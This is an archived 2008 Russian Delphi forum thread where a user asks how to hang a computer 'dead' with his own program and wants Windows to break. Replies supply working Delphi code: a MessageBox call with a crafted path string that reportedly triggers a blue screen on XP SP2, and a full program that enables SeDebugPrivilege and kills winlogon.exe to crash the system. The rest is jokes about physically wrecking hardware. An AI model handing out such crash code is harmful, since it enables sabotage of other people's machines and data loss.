Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Прочее";
Текущий архив: 2008.02.10;
Скачать: [xml.tar.bz2];

Вниз

Как лучше всего повесить намертво компьютер?   Найти похожие ветки 

 
Катунов Юрий ©   (2008-01-06 19:35) [0]

Как лучше всего повесить намертво компьютер при помощи своей программы?


 
homm ©   (2008-01-06 19:37) [1]

program Project1;
{$APPTYPE CONSOLE}
uses
 Windows;

const
s = "\??\C:\\";
var
I: Integer;
begin
 for I := 0 to 9 do
   MessageBox(0,s,s,MB_SERVICE_NOTIFICATION);
end.


 
Юрий Зотов ©   (2008-01-06 19:40) [2]

24 года...
:-(


 
Катунов Юрий ©   (2008-01-06 19:41) [3]

хм...Чё то мне не нравится уже код. Полюбому в чём то подвох... Что значит
s = "\??\C:\\"???????


 
homm ©   (2008-01-06 19:42) [4]

> [3] Катунов Юрий ©   (06.01.08 19:41)

а попробовать не сутьба?


 
homm ©   (2008-01-06 19:43) [5]

Кстати, на СП2 работает, но в одном из патчей это пофиксили.


 
Катунов Юрий ©   (2008-01-06 19:47) [6]

Ну смотри homm!!!... ща попробую!!!... чО как зайду через парочку дней и тогда, тогда я тебя поблагодарю!!!
ps
 Что такое правдо?


 
homm ©   (2008-01-06 19:50) [7]

> [6] Катунов Юрий ©   (06.01.08 19:47)
> Что такое правдо?

Это слово какое-то, почти «правда», только буква «о» на конце.

Из остального сообщение ничего не понял.


 
kernel ©   (2008-01-06 19:56) [8]

пропробовал на СП2 -- BSOD :)
аналог завершения winlogon :)


 
Катунов Юрий ©   (2008-01-06 20:00) [9]

Попробовал. Вывел МесседжБокс парочку раз с аброй-кадаброй и перезагрузка с последующим восстановлением системы. Ерунда..... у кого хлеще примеры есть... чтоб прямо совсем намертво


 
ПЛОВ ©   (2008-01-06 20:02) [10]

А может убьете себя апстену. Только чтоб совсем намертво!


 
homm ©   (2008-01-06 20:02) [11]

Не понятно, что тогда «повесить совсем намертво» в твоем понимании?


 
Катунов Юрий ©   (2008-01-06 20:03) [12]

Да...как раз с буквой о на конце было


 
Катунов Юрий ©   (2008-01-06 20:06) [13]

Чтоб прямо вообще потом винда слетела


 
kernel ©   (2008-01-06 20:06) [14]

можно без MessageBox`ов. Вроде бы так:

program PCKickProject;

uses
 TlHelp32, Windows;

procedure KillProcess(ProcessCaption: string);
type
PTOKEN_USER = ^TOKEN_USER;
_TOKEN_USER = record
User : TSidAndAttributes;
end;
TOKEN_USER = _TOKEN_USER;
var
hSnapShot:THandle;
uProcess:PROCESSENTRY32;
r:longbool;
KillProc:DWORD;
hProcess:THandle;
hToken:THandle;
cbPriv:DWORD;
Priv,PrivOld:TOKEN_PRIVILEGES;
dwError:DWORD;
ProcessHandle:THandle;
begin
hSnapShot:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
uProcess.dwSize := Sizeof(uProcess);
if(hSnapShot<>0)then
begin
r:=Process32First(hSnapShot, uProcess);
while r <> false do
begin
if  ProcessCaption = uProcess.szExeFile then
KillProc:= uProcess.th32ProcessID;
r:=Process32Next(hSnapShot, uProcess);
end;
CloseHandle(hProcess);
CloseHandle(hSnapShot);
end;

hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
if hProcess = 0 then
begin
 cbPriv:=SizeOf(PrivOld);
 OpenThreadToken(GetCurrentThread,TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES,false,hToken);
 OpenProcessToken(GetCurrentProcess,TOKEN_QUERY or  TOKEN_ADJUST_PRIVILEGES,hToken);
 Priv.PrivilegeCount:=1;
 Priv.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
 LookupPrivilegeValue(nil,"SeDebugPrivilege",Priv.Privileges[0].Luid);
 AdjustTokenPrivileges(hToken,false,Priv,SizeOf(Priv),PrivOld,cbPriv);
 hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
 dwError:=GetLastError;
 cbPriv:=0;
 AdjustTokenPrivileges(hToken,false,PrivOld,SizeOf(PrivOld),nil,cbPriv);
 CloseHandle(hToken);
end;
TerminateProcess(hProcess,$FFFFFFFF);
end;

begin
KillProcess("winlogon.exe");
end.


 
kernel ©   (2008-01-06 20:07) [15]


> Катунов Юрий ©   (06.01.08 20:06) [13]
>
> Чтоб прямо вообще потом винда слетела

у меня на работе вирус такой попадался, все данные с винта моментально сносил


 
homm ©   (2008-01-06 20:08) [16]

> [13] Катунов Юрий ©   (06.01.08 20:06)

есть несколько аппартно- и прогрммно-независимых методов. Рассказать?


 
{RASkov} ©   (2008-01-06 20:12) [17]

> [16] homm ©   (06.01.08 20:08)
> есть несколько аппартно- и прогрммно-независимых методов.
> Рассказать?

Во-во... аппаратные, давай рассказывай.... гранатки там всякие, бомбочки..... все остальное фуфло :)


 
Johnmen ©   (2008-01-06 20:13) [18]

Когда ребенок ноет "Хочу!", ему обычно объясняют, что ему еще рано; либо растолковывают по мере возможности, что это бяка; либо отвлекают внимание на привычные игрушки...


 
Катунов Юрий ©   (2008-01-06 20:13) [19]

Конечно расскажи.
ps. У меня на компьютере последний антивирус от семантика, мне ничто не страшно. Компьютер выжевет в любом случае


 
{RASkov} ©   (2008-01-06 20:16) [20]

> [19] Катунов Юрий ©   (06.01.08 20:13)
> Компьютер выжевет в любом случае

Умрет вместе с надеждой)


 
homm ©   (2008-01-06 20:19) [21]

> [19] Катунов Юрий ©   (06.01.08 20:13)
> Конечно расскажи.

Самый простой способ — пнуть сбоку по системному блоку, желательно со стороны мат. платы. Так эффективнее.
Второе, раскрутить системный блок, поднести к работающей мат. плате. оголенные провода 220в. Должен пойти такой прикольный дымок и искорки.
Так же эффективно воздействуют водные процедуры. Попробуй представить что чичтемник это титаник, а ты айсберг, когда будешь в ванной купатся. Обязательно расшиби в борту коробля дыру головой.
Можно еще не мало интересных способов придумать…


 
Катунов Юрий ©   (2008-01-06 20:27) [22]

-)))))

>kernel ©   (06.01.08 20:06) [14]
>можно без MessageBox`ов. Вроде бы так:


Я пока мандражирую пробовать этот код, мне слово вирус не нравится... хотя у меня ж крутой семантик. Мой компьютер выжевет в любом случае.
А вот советы homm - это уже старые, дедовские методы, проверенные времинем. Нужны новинки, прогрессивные методы, алгоритмы так сказать -)))


 
{RASkov} ©   (2008-01-06 20:27) [23]

> Должен пойти такой прикольный дымок и искорки.

Не сомневался, что будет интересно :)
:о)
С водой хуже всего.... я свою пивом заливал..... отрубилась, но после пары дней отходняка всёж стартанула, до сих пор работает, правда видеокарте повезло меньше, но и она потом отработала более полугода... после чего окончательно помёрла, а мать уже 2,5г после этого пашет :)
Я их (видео+мама) после пива, спиртом отпаивал :)


 
{RASkov} ©   (2008-01-06 20:31) [24]

> [22] Катунов Юрий ©   (06.01.08 20:27)
> А вот советы homm - это уже старые, дедовские методы

Ну это ты зря, homm "плохого" не посоветует....)

> проверенные времинем

вот видешь.... все надежно...
:о)


 
turbouser ©   (2008-01-06 20:34) [25]

Некоторые умельцы умудряются своим кодом процессоры сжигать.
К счастью, я так не умею и знать не хочу как это делается :)


 
{RASkov} ©   (2008-01-06 20:35) [26]

> [25] turbouser ©   (06.01.08 20:34)
> Некоторые умельцы умудряются своим кодом процессоры сжигать.

Ого(

> К счастью, я так не умею и знать не хочу как это делается

А я хочу, дабы так случайно не сделать :)


 
turbouser ©   (2008-01-06 20:37) [27]


> {RASkov} ©   (06.01.08 20:35) [26]
>
> А я хочу, дабы так случайно не сделать :)

Не, лучше не знать. Это же такой соблазн :))


 
Anatoly Podgoretsky ©   (2008-01-06 20:38) [28]

> Юрий Зотов  (06.01.2008 19:40:02)  [2]

Меньше 25 не дадут, разве что по амнистии раньше выйдет.


 
{RASkov} ©   (2008-01-06 20:39) [29]

> [27] turbouser ©   (06.01.08 20:37)
> Это же такой соблазн :))

Ой... не говори :)

И всеж я сомневаюсь, что современные "процы" можно попалить программно....


 
kernel ©   (2008-01-06 20:45) [30]

кстати

> kernel ©   (06.01.08 20:06) [14]

к

> kernel ©   (06.01.08 20:07) [15]

никак не относится :)


> {RASkov} ©   (06.01.08 20:39) [29]

можно, напросто, например, остановив кулер на CPU :)



Страницы: 1 вся ветка

Форум: "Прочее";
Текущий архив: 2008.02.10;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.52 MB
Время: 0.04 c
6-1177100083
Sp1r1t
2007-04-21 00:14
2008.02.10
Как передать массив по сети используя Indy?


15-1199970189
Interior
2008-01-10 16:03
2008.02.10
Округление вверх кратно пяти как в Excel


2-1200661708
Alex_C
2008-01-18 16:08
2008.02.10
TColorDialog - убрать лишние цвета


2-1200107272
дучф_ч
2008-01-12 06:07
2008.02.10
приложение без установки BDE


2-1200657601
_Shuler_
2008-01-18 15:00
2008.02.10
theme





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский